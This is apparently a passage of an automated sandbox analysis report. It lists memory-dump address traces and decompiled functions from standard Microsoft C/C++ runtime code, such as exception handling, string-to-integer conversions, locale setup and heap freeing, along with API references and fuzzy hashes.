0x004a1c21
0x004a1c24
0x004a1c27
0x004a1c2e
0x004a1c2e
0x004a1c31
0x004a1c33
0x004a1c35
0x004a1c67
0x004a1c67
0x004a1c6a
0x004a1c71
0x004a1c71
0x004a1c74
0x004a1c77
0x004a1c7e
0x004a1c7e
0x004a1c81
0x004a1c88
0x004a1c8a
0x004a1c8a
0x004a1c83
0x004a1c83
0x004a1c86
0x00000000
0x00000000
0x004a1c86
0x004a1c79
0x004a1c79
0x004a1c7c
0x00000000
0x00000000
0x004a1c7c
0x004a1c6c
0x004a1c6c
0x004a1c6f
0x00000000
0x00000000
0x004a1c6f
0x004a1c8b
0x004a1c37
0x004a1c37
0x004a1c37
0x004a1c3a
0x004a1c3a
0x004a1c3c
0x004a1c3e
0x00000000
0x00000000
0x004a1c40
0x004a1c42
0x004a1c56
0x004a1c56
0x004a1c44
0x004a1c44
0x004a1c47
0x004a1c4a
0x00000000
0x004a1c4c
0x004a1c4c
0x004a1c4f
0x004a1c52
0x004a1c54
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c54
0x004a1c4a
0x004a1c5f
0x004a1c5f
0x004a1c61
0x00000000
0x004a1c63
0x004a1c63
0x004a1c63
0x00000000
0x004a1c61
0x004a1c5a
0x004a1c5c
0x004a1c5c
0x00000000
0x004a1c5c
0x004a1c29
0x004a1c29
0x004a1c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c2c
0x004a1c27
0x004a1c1f
0x004a1c92
0x004a1c96
0x004a1c96
0x004a1755
0x004a1755
0x004a175e
0x004a1860
0x004a1860
0x00000000
0x004a178d
0x004a178d
0x004a178f
0x004a1792
0x004a1862
0x004a1862
0x004a1865
0x00000000
0x004a1798
0x004a1798
0x004a179d
0x004a17a0
0x004a1a64
0x004a1a68
0x004a17a6
0x004a17ab
0x004a17ae
0x004a17b3
0x004a17ba
0x004a17bf
0x00000000
0x004a17c5
0x004a17cb
0x004a17f7
0x004a17f7
0x004a17fc
0x004a17ff
0x004a186a
0x004a186a
0x004a186d
0x004a1870
0x004a1870
0x004a1873
0x004a1876
0x004a187c
0x004a1a33
0x004a1a33
0x004a1a36
0x00000000
0x004a1a38
0x004a1a38
0x004a1a3c
0x00000000
0x004a1a42
0x004a1a42
0x004a1a45
0x004a1a48
0x004a1a49
0x004a1a4a
0x004a1a4d
0x004a1a4e
0x004a1a51
0x004a1a52
0x004a1a57
0x00000000
0x004a1a57
0x004a1a3c
0x004a1882
0x004a1882
0x004a1886
0x00000000
0x004a188c
0x004a188c
0x004a1893
0x004a18ab
0x004a18ab
0x004a18ae
0x004a18b4
0x004a18c4
0x004a18c9
0x004a18cc
0x004a18cf
0x004a18d2
0x004a18d5
0x004a18d8
0x004a18db
0x004a18e1
0x004a18e1
0x004a18e4
0x004a18e7
0x004a18f6
0x004a18f7
0x004a18f7
0x004a18f9
0x004a18fc
0x004a1902
0x004a1905
0x004a190b
0x004a190d
0x004a1910
0x004a1913
0x004a191c
0x004a191f
0x004a1921
0x004a1921
0x004a1924
0x004a1927
0x004a192a
0x004a192d
0x004a1930
0x004a1935
0x004a1936
0x004a1937
0x004a1938
0x004a1939
0x004a193c
0x004a193e
0x004a1940
0x00000000
0x004a1942
0x004a1942
0x004a1942
0x004a1945
0x004a1948
0x004a194a
0x004a194b
0x004a1950
0x004a1953
0x004a1955
0x00000000
0x00000000
0x004a1957
0x004a1958
0x004a195b
0x004a195d
0x00000000
0x004a195f
0x004a195f
0x004a1962
0x004a1965
0x00000000
0x004a1965
0x00000000
0x004a195d
0x004a1979
0x004a197f
0x004a1983
0x004a19a0
0x004a19a5
0x004a19a5
0x004a19a8
0x004a19a8
0x00000000
0x004a1968
0x004a1968
0x004a1969
0x004a196c
0x004a196f
0x004a1972
0x004a1972
0x00000000
0x004a1977
0x004a1913
0x004a1905
0x004a19ab
0x004a19ae
0x004a19af
0x004a19b2
0x004a19b5
0x004a19b8
0x004a19bb
0x004a19bb
0x004a19c4
0x004a19c7
0x004a19c7
0x004a19c7
0x004a18db
0x004a19c9
0x004a19cd
0x004a19cf
0x004a19d2
0x004a19d8
0x004a19d8
0x004a19d9
0x004a19dd
0x004a1a5a
0x004a1a5a
0x004a1a5f
0x004a1a62
0x00000000
0x00000000
0x00000000
0x00000000
0x004a19df
0x004a19e6
0x004a19eb
0x00000000
0x004a19ed
0x004a19ed
0x004a19f1
0x004a1a03
0x004a1a09
0x004a1a0b
0x004a1a22
0x004a1a26
0x004a1a2c
0x004a1a2d
0x004a1a2f
0x00000000
0x004a1a31
0x00000000
0x004a1a31
0x004a1a0d
0x004a1a12
0x004a1a1d
0x00000000
0x004a1a1d
0x004a19f3
0x004a19f9
0x004a19fb
0x00000000
0x004a19fd
0x004a19fd
0x004a1a01
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1a01
0x004a19fb
0x004a19f1
0x004a19eb
0x004a1895
0x004a1895
0x004a189c
0x00000000
0x004a189e
0x004a189e
0x004a18a5
0x00000000
0x00000000
0x00000000
0x00000000
0x004a18a5
0x004a189c
0x004a1893
0x004a1886
0x004a1801
0x004a1809
0x004a180c
0x004a1811
0x004a1815
0x004a1821
0x00000000
0x004a1823
0x004a1823
0x004a1826
0x004a1828
0x004a1a69
0x004a1a69
0x004a182e
0x004a182e
0x004a1830
0x004a1833
0x004a184f
0x004a1850
0x004a1853
0x004a1856
0x004a1858
0x00000000
0x004a185e
0x00000000
0x004a185e
0x00000000
0x004a1858
0x004a1833
0x004a1a6e
0x004a1a6e
0x004a1a70
0x004a1a71
0x004a1a78
0x004a1a7b
0x004a1a89
0x004a1a8e
0x004a1a93
0x004a1a96
0x004a1a9b
0x004a1a9e
0x004a1aa1
0x004a1aa4
0x004a1aa6
0x004a1aa8
0x004a1aa8
0x004a1aad
0x004a1ab9
0x004a1abf
0x004a1ac4
0x004a1ac7
0x004a1ac8
0x00000000
0x004a1ac8
0x004a1821
0x004a17ee
0x004a17ee
0x004a17f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004a17f1
0x004a17cb
0x004a17bf
0x004a17a0
0x004a1792
0x004a175e

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 004A1818
___TypeMatch.LIBVCRUNTIME ref: 004A194B
CatchIt.LIBVCRUNTIME ref: 004A19A0
IsInExceptionSpec.LIBVCRUNTIME ref: 004A1A26
_UnwindNestedFrames.LIBCMT ref: 004A1AAD
CallUnexpected.LIBVCRUNTIME ref: 004A1AC8

Strings

csm, xrefs: 004A17C5
csm, xrefs: 004A1876
csm, xrefs: 004A1758

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwind
String ID: csm$csm$csm
API String ID: 2378971308-393685449
Opcode ID: 1b13ae45695fb3058d400e6f74962d7ef479bdd9b8ffd059acf6acaa26f0f670
Instruction ID: 4ab6f381fd399765fc504cc7a4e68d42dbb66551b00f81a89a874517e2493f57
Opcode Fuzzy Hash: 1b13ae45695fb3058d400e6f74962d7ef479bdd9b8ffd059acf6acaa26f0f670
Instruction Fuzzy Hash: 51C17B71D002099FCF15DFA5C8819AFBBB9BF2A314F44405FE8116B222D339DA51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00C609FB, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00C60AF8
type_info::operator==.LIBVCRUNTIME ref: 00C60B1A
___TypeMatch.LIBVCRUNTIME ref: 00C60C29
IsInExceptionSpec.LIBVCRUNTIME ref: 00C60CFB
_UnwindNestedFrames.LIBCMT ref: 00C60D7F
CallUnexpected.LIBVCRUNTIME ref: 00C60D9A

Strings

csm, xrefs: 00C60A38
csm, xrefs: 00C60B51
csm, xrefs: 00C60AA5

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 04efe713b780afd33145fff24438fd7a22687f498f80b7a4c76d867ced726f7e
Instruction ID: 7f481ceca03e5c245430716a3a1bfca41facc7ded11ee842689cf49f8a4457b5
Opcode Fuzzy Hash: 04efe713b780afd33145fff24438fd7a22687f498f80b7a4c76d867ced726f7e
Instruction Fuzzy Hash: 54B16775800209EFCF28DFA5C8819AFBBB5FF14311B248259E8257B256D730EA91DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0043E2F9, Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0043E2F9(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v52;
				signed int _v72;
				signed int _v92;
				signed int _t32;
				signed int _t39;
				signed int* _t41;
				signed int _t46;
				signed int* _t48;
				signed int _t53;
				signed int* _t55;
				signed int _t60;
				signed int* _t62;
				intOrPtr* _t77;
				void* _t88;
				signed int* _t90;
				signed int* _t91;
				signed int* _t92;
				signed int* _t93;
				signed int* _t94;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr* _t99;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t113;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				signed int _t117;

				_t88 = __edx;
				_t77 = __ecx;
				_t103 = _t113;
				_push(__ecx);
				_push(__ecx);
				_t32 =  *0x4eb018; // 0xa679d9c
				_v8 = _t32 ^ _t103;
				_t96 = __ecx;
				_t90 = E004A966E();
				if( *((intOrPtr*)(__ecx + 0x14)) >= 0x10) {
					_t96 =  *__ecx;
				}
				 *_t90 =  *_t90 & 0x00000000;
				E004AD09C(_t77, _t96,  &_v12, 0xa);
				_t114 = _t113 + 0xc;
				if(_t96 == _v12) {
					E00488FCD("invalid stoi argument");
					goto L6;
				} else {
					_pop(_t90);
					_pop(_t96);
					if( *_t90 == 0x22) {
						L6:
						E0048900D("stoi argument out of range");
						asm("int3");
						_push(_t103);
						_t104 = _t114;
						_push(_t77);
						_push(_t77);
						_t39 =  *0x4eb018; // 0xa679d9c
						_v32 = _t39 ^ _t104;
						_push(_t96);
						_push(_t90);
						_t97 = _t77;
						_t41 = E004A966E();
						__eflags =  *((intOrPtr*)(_t97 + 0x14)) - 0x10;
						_t91 = _t41;
						if( *((intOrPtr*)(_t97 + 0x14)) >= 0x10) {
							_t97 =  *_t97;
						}
						 *_t91 =  *_t91 & 0x00000000;
						E004AD0F4(_t77, _t97,  &_v16, 0xa);
						_t115 = _t114 + 0xc;
						__eflags = _t97 - _v16;
						if(_t97 == _v16) {
							E00488FCD("invalid stoul argument");
							goto L12;
						} else {
							__eflags =  *_t91 - 0x22;
							_pop(_t91);
							_pop(_t97);
							if( *_t91 == 0x22) {
								L12:
								E0048900D("stoul argument out of range");
								asm("int3");
								_push(_t104);
								_t105 = _t115;
								_push(_t77);
								_push(_t77);
								_t46 =  *0x4eb018; // 0xa679d9c
								_v52 = _t46 ^ _t105;
								_push(_t97);
								_push(_t91);
								_t98 = _t77;
								_t48 = E004A966E();
								__eflags =  *((intOrPtr*)(_t98 + 0x14)) - 0x10;
								_t92 = _t48;
								if( *((intOrPtr*)(_t98 + 0x14)) >= 0x10) {
									_t98 =  *_t98;
								}
								 *_t92 =  *_t92 & 0x00000000;
								E004AD0C8(_t77, _t98,  &_v20, 0xa);
								_t116 = _t115 + 0xc;
								__eflags = _t98 - _v20;
								if(_t98 == _v20) {
									E00488FCD("invalid stoll argument");
									goto L18;
								} else {
									__eflags =  *_t92 - 0x22;
									_pop(_t92);
									_pop(_t98);
									if( *_t92 == 0x22) {
										L18:
										E0048900D("stoll argument out of range");
										asm("int3");
										_push(_t105);
										_t106 = _t116;
										_push(_t77);
										_push(_t77);
										_t53 =  *0x4eb018; // 0xa679d9c
										_v72 = _t53 ^ _t106;
										_push(_t98);
										_push(_t92);
										_t99 = _t77;
										_t55 = E004A966E();
										__eflags =  *((intOrPtr*)(_t99 + 0x14)) - 0x10;
										_t93 = _t55;
										if( *((intOrPtr*)(_t99 + 0x14)) >= 0x10) {
											_t99 =  *_t99;
										}
										 *_t93 =  *_t93 & 0x00000000;
										E004AD120(_t77, _t99,  &_v24, 0x10);
										_t117 = _t116 + 0xc;
										__eflags = _t99 - _v24;
										if(_t99 == _v24) {
											E00488FCD("invalid stoull argument");
											goto L24;
										} else {
											__eflags =  *_t93 - 0x22;
											_pop(_t93);
											_pop(_t99);
											if( *_t93 == 0x22) {
												L24:
												E0048900D("stoull argument out of range");
												asm("int3");
												_push(_t106);
												_t107 = _t117;
												_push(_t77);
												_push(_t77);
												_t60 =  *0x4eb018; // 0xa679d9c
												_v92 = _t60 ^ _t107;
												_push(_t99);
												_push(_t93);
												_t100 = _t77;
												_t62 = E004A966E();
												__eflags =  *((intOrPtr*)(_t100 + 0x14)) - 8;
												_t94 = _t62;
												if( *((intOrPtr*)(_t100 + 0x14)) >= 8) {
													_t100 =  *_t100;
												}
												 *_t94 =  *_t94 & 0x00000000;
												E004AD178(_t77, _t100,  &_v28, 0xa);
												__eflags = _t100 - _v28;
												if(_t100 == _v28) {
													E00488FCD("invalid stoll argument");
													goto L30;
												} else {
													__eflags =  *_t94 - 0x22;
													_pop(_t94);
													_pop(_t100);
													if( *_t94 == 0x22) {
														L30:
														E0048900D("stoll argument out of range");
														asm("int3");
														_push(8);
														E0049D90B(0x4c567f, _t94, _t100);
														_t101 = _t77;
														_v40 = _t77;
														_v36 = _v36 & 0x00000000;
														E00481E8C(_t77, _t88, _t94, _t77, __eflags);
														_t29 =  &_v24;
														 *_t29 = _v24 & 0x00000000;
														__eflags =  *_t29;
														_v36 = 1;
														return E0049D8D4(_t101);
													} else {
														__eflags = _v24 ^ _t107;
														return E0049CE1D(_v24 ^ _t107);
													}
												}
											} else {
												__eflags = _v20 ^ _t106;
												return E0049CE1D(_v20 ^ _t106);
											}
										}
									} else {
										__eflags = _v16 ^ _t105;
										return E0049CE1D(_v16 ^ _t105);
									}
								}
							} else {
								__eflags = _v12 ^ _t104;
								return E0049CE1D(_v12 ^ _t104);
							}
						}
					} else {
						return E0049CE1D(_v8 ^ _t103);
					}
				}
			}

0x0043e2f9
0x0043e2f9
0x0043e2fa
0x0043e2fc
0x0043e2fd
0x0043e2fe
0x0043e305
0x0043e30a
0x0043e315
0x0043e317
0x0043e319
0x0043e319
0x0043e31b
0x0043e325
0x0043e32a
0x0043e330
0x0043e34a
0x00000000
0x0043e332
0x0043e335
0x0043e336
0x0043e337
0x0043e34f
0x0043e354
0x0043e359
0x0043e35a
0x0043e35b
0x0043e35d
0x0043e35e
0x0043e35f
0x0043e366
0x0043e369
0x0043e36a
0x0043e36b
0x0043e36d
0x0043e372
0x0043e376
0x0043e378
0x0043e37a
0x0043e37a
0x0043e37c
0x0043e386
0x0043e38b
0x0043e38e
0x0043e391
0x0043e3ab
0x00000000
0x0043e393
0x0043e393
0x0043e396
0x0043e397
0x0043e398
0x0043e3b0
0x0043e3b5
0x0043e3ba
0x0043e3bb
0x0043e3bc
0x0043e3be
0x0043e3bf
0x0043e3c0
0x0043e3c7
0x0043e3ca
0x0043e3cb
0x0043e3cc
0x0043e3ce
0x0043e3d3
0x0043e3d7
0x0043e3d9
0x0043e3db
0x0043e3db
0x0043e3dd
0x0043e3e7
0x0043e3ec
0x0043e3ef
0x0043e3f2
0x0043e40c
0x00000000
0x0043e3f4
0x0043e3f4
0x0043e3f7
0x0043e3f8
0x0043e3f9
0x0043e411
0x0043e416
0x0043e41b
0x0043e41c
0x0043e41d
0x0043e41f
0x0043e420
0x0043e421
0x0043e428
0x0043e42b
0x0043e42c
0x0043e42d
0x0043e42f
0x0043e434
0x0043e438
0x0043e43a
0x0043e43c
0x0043e43c
0x0043e43e
0x0043e448
0x0043e44d
0x0043e450
0x0043e453
0x0043e46d
0x00000000
0x0043e455
0x0043e455
0x0043e458
0x0043e459
0x0043e45a
0x0043e472
0x0043e477
0x0043e47c
0x0043e47d
0x0043e47e
0x0043e480
0x0043e481
0x0043e482
0x0043e489
0x0043e48c
0x0043e48d
0x0043e48e
0x0043e490
0x0043e495
0x0043e499
0x0043e49b
0x0043e49d
0x0043e49d
0x0043e49f
0x0043e4a9
0x0043e4b1
0x0043e4b4
0x0043e4ce
0x00000000
0x0043e4b6
0x0043e4b6
0x0043e4b9
0x0043e4ba
0x0043e4bb
0x0043e4d3
0x0043e4d8
0x0043e4dd
0x0043e4de
0x0043e4e5
0x0043e4ea
0x0043e4ec
0x0043e4ef
0x0043e4f3
0x0043e4f8
0x0043e4f8
0x0043e4f8
0x0043e4fc
0x0043e50a
0x0043e4bd
0x0043e4c0
0x0043e4c8
0x0043e4c8
0x0043e4bb
0x0043e45c
0x0043e45f
0x0043e467
0x0043e467
0x0043e45a
0x0043e3fb
0x0043e3fe
0x0043e406
0x0043e406
0x0043e3f9
0x0043e39a
0x0043e39d
0x0043e3a5
0x0043e3a5
0x0043e398
0x0043e339
0x0043e344
0x0043e344
0x0043e337

APIs

Part of subcall function 00488FCD: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00488FD9

Part of subcall function 0048900D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00489019

__EH_prolog3.LIBCMT ref: 0043E4E5

Part of subcall function 00481E8C: __EH_prolog3_GS.LIBCMT ref: 00481E93

Strings

stoll argument out of range, xrefs: 0043E411, 0043E4D3
invalid stoll argument, xrefs: 0043E407, 0043E4C9
stoi argument out of range, xrefs: 0043E34F
invalid stoul argument, xrefs: 0043E3A6
stoull argument out of range, xrefs: 0043E472
stoul argument out of range, xrefs: 0043E3B0
invalid stoull argument, xrefs: 0043E468
invalid stoi argument, xrefs: 0043E345

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$H_prolog3H_prolog3_
String ID: invalid stoi argument$invalid stoll argument$invalid stoul argument$invalid stoull argument$stoi argument out of range$stoll argument out of range$stoul argument out of range$stoull argument out of range
API String ID: 3311459110-713895927
Opcode ID: 74c82ef38a882ccaea86cd491ec0dbffc818294eb6a7d3a46d34aa31cfbf922d
Instruction ID: 71a53767b0b32d58ad89a8a73b3650285488d8a52666623cfe33ea411ebaff05
Opcode Fuzzy Hash: 74c82ef38a882ccaea86cd491ec0dbffc818294eb6a7d3a46d34aa31cfbf922d
Instruction Fuzzy Hash: C051E831A01318BBCF24BF569842ADEB7A8DF19715F50046FF50167281DB786F448BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00C5F12B, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 180COMMON

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00C5F168
DName::operator=.LIBVCRUNTIME ref: 00C5F1BA

Strings

@, xrefs: 00C5F2D0
generic-type-, xrefs: 00C5F1F3
template-parameter-, xrefs: 00C5F1CC

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: @$generic-type-$template-parameter-
API String ID: 3211817929-1320211309
Opcode ID: b49ab28747f2e8b11aedc46cc352a8d94f7a05110126a1966936a140026d7102
Instruction ID: fa7b6b03b4742da637cdea047f3668e5480bbf0d309ad71224b9c29b11febadf
Opcode Fuzzy Hash: b49ab28747f2e8b11aedc46cc352a8d94f7a05110126a1966936a140026d7102
Instruction Fuzzy Hash: 1B61F7B9900245DFDB08DF54DC55BEEB7B4EF09301F14002DE911A72A1DB749A8ECB58

Uniqueness

Uniqueness Score: -1.00%

Function 00492B0B, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00492B0B(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				intOrPtr _t36;
				signed int _t45;
				intOrPtr _t51;
				intOrPtr _t52;
				signed int _t53;
				intOrPtr _t65;
				void* _t66;

				_t52 = __ecx;
				_push(0x64);
				E0049D93F(0x4d6dcb, __edi, __esi);
				_t51 = _t52;
				 *((intOrPtr*)(_t66 - 0x6c)) = E004A5AB9();
				_t32 = E00489787(_t66 - 0x68);
				_t53 = 0xb;
				 *((intOrPtr*)(_t66 - 0x70)) = _t51;
				memcpy(_t66 - 0x3c, _t32, _t53 << 2);
				 *((intOrPtr*)(_t51 + 8)) = 0;
				 *((intOrPtr*)(_t51 + 0x10)) = 0;
				 *((intOrPtr*)(_t51 + 0x14)) = 0;
				 *((intOrPtr*)(_t66 - 4)) = 0;
				E00489787(_t66 - 0x68);
				_t72 =  *((char*)(_t66 + 0xc));
				_t36 = 0x40f063;
				_t65 =  *((intOrPtr*)(_t66 - 0x6c));
				if( *((char*)(_t66 + 0xc)) == 0) {
					_t36 =  *((intOrPtr*)(_t65 + 8));
				}
				_push(_t66 - 0x68);
				_push(0);
				 *((intOrPtr*)(_t51 + 8)) = E004302EE(0, _t65, _t66, _t72, _t36);
				 *((intOrPtr*)(_t51 + 0x10)) = E0048BD4A(_t51, 0, _t65, "false", 0, _t66 - 0x3c);
				 *((intOrPtr*)(_t51 + 0x14)) = E0048BD4A(_t51, 0, _t65, "true", 0, _t66 - 0x3c);
				if( *((char*)(_t66 + 0xc)) == 0) {
					 *((short*)(_t51 + 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t65 + 0x30))));
					_t45 =  *( *(_t65 + 0x34)) & 0x0000ffff;
				} else {
					 *((short*)(_t51 + 0xc)) = E0048BD19(0x2e, 0, _t66 - 0x3c);
					_t45 = E0048BD19(0x2c, 0, _t66 - 0x3c) & 0x0000ffff;
				}
				 *(_t51 + 0xe) = _t45;
				return E0049D8E9(_t45, 0, _t65);
			}

0x00492b0b
0x00492b0b
0x00492b12
0x00492b17
0x00492b1e
0x00492b25
0x00492b2c
0x00492b2f
0x00492b35
0x00492b39
0x00492b3c
0x00492b3f
0x00492b45
0x00492b49
0x00492b4e
0x00492b52
0x00492b57
0x00492b5c
0x00492b5e
0x00492b5e
0x00492b64
0x00492b65
0x00492b6c
0x00492b7e
0x00492b93
0x00492b9a
0x00492bc6
0x00492bcd
0x00492b9c
0x00492ba8
0x00492bbb
0x00492bbb
0x00492bd0
0x00492bd9

APIs

__EH_prolog3_GS.LIBCMT ref: 00492B12
__Getcvt.LIBCPMT ref: 00492B25
__Getcvt.LIBCPMT ref: 00492B49
_Maklocstr.LIBCPMT ref: 00492B79
_Maklocstr.LIBCPMT ref: 00492B8B
_Maklocchr.LIBCPMT ref: 00492BA3
_Maklocchr.LIBCPMT ref: 00492BB3

Strings

false, xrefs: 00492B74
true, xrefs: 00492B86

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GetcvtMaklocchrMaklocstr$H_prolog3_
String ID: false$true
API String ID: 2216850052-2658103896
Opcode ID: 044361b3a1b564a52ddb4e68254e8a8b2c8a39fe09bda841936c4e9e462b13a6
Instruction ID: 2a239c2cf79fc622d80201eabdf07e698bc5d1c3e54d0d17c90031374c8ad774
Opcode Fuzzy Hash: 044361b3a1b564a52ddb4e68254e8a8b2c8a39fe09bda841936c4e9e462b13a6
Instruction Fuzzy Hash: 5B215CB1C00344AEDF14EFA2C885A9EBBA8EF44704F00846BF8159F252D7789944CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00C5AAD4, Relevance: 15.3, APIs: 10, Instructions: 337COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00C5AB43
shared_ptr.LIBCMT ref: 00C5AB8B
shared_ptr.LIBCMT ref: 00C5ABAA
shared_ptr.LIBCMT ref: 00C5ACC1
DName::operator+.LIBCMT ref: 00C5AD01
operator+.LIBVCRUNTIME ref: 00C5AD7A
DName::operator=.LIBVCRUNTIME ref: 00C5AD92
shared_ptr.LIBCMT ref: 00C5AE8F
shared_ptr.LIBCMT ref: 00C5AECD
operator+.LIBVCRUNTIME ref: 00C5AF8F

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID:
API String ID: 1464150960-0
Opcode ID: 14561807e6a229337b39c3757da984c10c58db2a06b64bcd33d0bd9af4974ca1
Instruction ID: 42c9e404ed3eb70bfe165ca393c950c943d0bb5a18f93e2216a8c31d9add8186
Opcode Fuzzy Hash: 14561807e6a229337b39c3757da984c10c58db2a06b64bcd33d0bd9af4974ca1
Instruction Fuzzy Hash: EED162B9C0420ADFCF04DF96C4886BEBBB4EB04306F14825AE92167250D7755B8DDF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00C5E349, Relevance: 15.3, APIs: 10, Instructions: 285COMMON

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00C5E425
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E430
DName::DName.LIBVCRUNTIME ref: 00C5E443
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E52B
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E548
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E565
DName::operator+.LIBCMT ref: 00C5E57A
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E594
swprintf.LIBCMT ref: 00C5E607
DName::operator+.LIBCMT ref: 00C5E65B

Part of subcall function 00C5A4C2: DName::DName.LIBVCRUNTIME ref: 00C5A4D7

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$swprintf
String ID:
API String ID: 3689813335-0
Opcode ID: 293c3a7880bc5868cced6db7222498fc116563bacc86dbbec7ad6b111e1929f6
Instruction ID: 70a9aa68a7122a03b189f2a965c6585056f9d7c96c715b01a4e6aaf178e40689
Opcode Fuzzy Hash: 293c3a7880bc5868cced6db7222498fc116563bacc86dbbec7ad6b111e1929f6
Instruction Fuzzy Hash: 2E91F77A80020A9ACB1CEBB5D999BFE7778AF15302F100115F811A6191DB789BCCE75D

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B0E1, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C7B0F7

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C7B103
_free.LIBCMT ref: 00C7B10E
_free.LIBCMT ref: 00C7B119
_free.LIBCMT ref: 00C7B124
_free.LIBCMT ref: 00C7B12F
_free.LIBCMT ref: 00C7B13A
_free.LIBCMT ref: 00C7B145
_free.LIBCMT ref: 00C7B150
_free.LIBCMT ref: 00C7B15E

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9b67a492ace6949840372749e0b38c8ab978652bac6b701953a677ae01f1df2b
Instruction ID: 21ac264fa799184e58eff9c3fb0780706d7d028c3e54037d0b48c1e718e1e5d8
Opcode Fuzzy Hash: 9b67a492ace6949840372749e0b38c8ab978652bac6b701953a677ae01f1df2b
Instruction Fuzzy Hash: 0F21BA7690010DAFCB11EF94C881DDD7BB8BF18751F108169F519AB125EB32EB44EB80

Uniqueness

Uniqueness Score: -1.00%

Function 004B3527, Relevance: 15.1, APIs: 10, Instructions: 54
